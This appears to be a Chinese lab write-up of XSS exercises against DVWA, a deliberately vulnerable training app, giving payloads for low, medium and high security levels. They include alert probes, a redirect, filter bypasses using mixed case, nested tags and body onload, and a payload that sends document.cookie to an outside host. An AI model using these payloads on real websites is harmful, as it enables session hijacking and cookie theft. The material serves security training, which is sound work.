低等级:

DVWA-xss

<script>alert('XSS')</script>

DVWA-xss

DVWA-xss

<a href='' οnclick=alert('xxx')>点击</a>

DVWA-xss

 

重定向

<script>window.location="http://www.baidu.com"</script>

DVWA-xss

 

获取cookie级:

<script>new Image().src="http:/192.168.208.133/c.php?output="+document.cookie;</script>

DVWA-xss

 

 

中等

可见过滤了<script>,可以选择大写,复写等

 

DVWA-xss

<Script>alert('XSS')</script>

DVWA-xss

 

<scri<script>pt>alert('FFFFF')</script>

DVWA-xss

高等级:

过滤了所有与<script>相关的数据,可以更换标签用以绕过

DVWA-xss

 

<body οnlοad=alert('XSSX')>

DVWA-xss

相关文章:

  • 2023-03-21
  • 2022-01-02
  • 2021-08-18
  • 2022-12-23
  • 2021-04-26
  • 2021-04-23
  • 2021-09-26
猜你喜欢
  • 2021-09-01
  • 2021-08-07
  • 2021-10-11
  • 2021-09-04
  • 2021-10-06
  • 2021-11-18
  • 2022-12-23
相关资源
相似解决方案